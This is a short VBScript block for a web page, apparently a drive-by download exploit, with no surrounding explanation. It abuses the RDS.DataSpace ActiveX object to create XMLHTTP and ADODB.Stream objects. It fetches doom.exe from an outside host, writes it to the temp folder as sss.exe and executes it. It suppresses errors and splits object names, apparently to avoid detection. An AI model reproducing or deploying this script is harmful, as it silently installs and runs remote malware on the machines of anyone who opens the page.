<script language="VBScript">
on error resume next
'1
dl ="http://www.hhikaye.com/doom.exe"
'1
Set df = document.createElement("object")
'1f
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
'1
str="Microsoft.XMLHTTP"
'1
Set x = df.CreateObject(str,"")
'1
a1="Adodb."
a4="Stream"
'1
str1=a1&a4
str5=str1
'1
set S = df.createobject(str5,"")
'1
S.type = 1
str6="GET"
'1
x.Open str6, dl, False
x.Send
'1
fname1="sss.exe"
'1
set F = df.createobject("Scripting.FileSystemObject","")
'1
set tmp = F.GetSpecialFolder(2)
'1
fname1= F.BuildPath(tmp,fname1)
'1
S.open
'1
S.write x.responseBody
'1
S.savetofile fname1,2
'1
S.close
'1
set Q = df.createobject("Shell.Application","")
'2
Q.ShellExecute fname1,"",""
'1
</script>